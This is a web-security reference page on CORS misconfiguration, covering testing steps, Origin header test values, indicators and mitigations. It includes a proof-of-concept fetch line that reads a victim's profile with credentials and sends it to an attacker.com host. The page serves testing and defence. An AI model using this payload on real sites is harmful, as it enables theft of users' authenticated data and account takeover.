OWASP Hunting
Configuration & Design

CORS Misconfiguration

CORS misconfigurations allow unauthorized origins to read sensitive cross-origin responses, enabling data theft and account takeover.

These payloads are for authorized testing only — systems you own, authorized bug bounty programs, or controlled lab environments. Unauthorized testing is illegal.

What it is

CORS misconfiguration occurs when an application incorrectly configures Cross-Origin Resource Sharing headers, allowing unauthorized domains to read sensitive responses. Critical misconfigs include reflecting any Origin with Allow-Credentials: true, accepting null origins, and trusting all subdomains without validation.

Attack Vectors

  • API endpoints with sensitive data
  • Authentication and authorization endpoints
  • User profile and account management APIs
  • Admin panel APIs
  • Internal APIs exposed via CORS

Testing Methodology

  1. Send requests with Origin: https://evil.com and check Access-Control-Allow-Origin
  2. Test with Origin: null (for sandbox or file:// contexts)
  3. Try subdomain variations: Origin: https://evil.target.com
  4. Check if Access-Control-Allow-Credentials: true is set with reflected origins
  5. Test with Origin: https://target.com.evil.com (post-domain matching)

Payloads

Reference payloads for authorized testing. Always verify you have permission before use.

Origin Header Tests
Origin: https://evil.comOrigin: nullOrigin: https://target.com.evil.comOrigin: https://eviltarget.comOrigin: https://attacker.target.com
PoC (reflected CORS with credentials)
fetch('https://target.com/api/profile', {credentials: 'include'}).then(r => r.text()).then(d => fetch('https://attacker.com/?data=' + btoa(d)))

Indicators of Vulnerability

  • Access-Control-Allow-Origin reflects attacker-supplied origin
  • Access-Control-Allow-Credentials: true combined with reflected origin
  • Sensitive API data accessible from attacker's origin

Detection Guidance

Audit all CORS configurations and compare Access-Control-Allow-Origin against a strict allowlist. Never reflect the Origin header verbatim.

Mitigation & Remediation

  • Validate Origin against an explicit allowlist of trusted domains
  • Never reflect the incoming Origin header without validation
  • Avoid using null as an allowed origin
  • Set Access-Control-Allow-Credentials: true only for explicitly trusted origins
  • Apply the same-origin policy as the default; add CORS exceptions only where necessary

References

Responsible Use

All content in this reference is for authorized security testing only. Use only on systems you own or have explicit written permission to test.

  • Systems and applications you own
  • Authorized penetration testing engagements
  • Bug bounty programs with defined scope
  • Educational lab environments (DVWA, WebGoat, HackTheBox)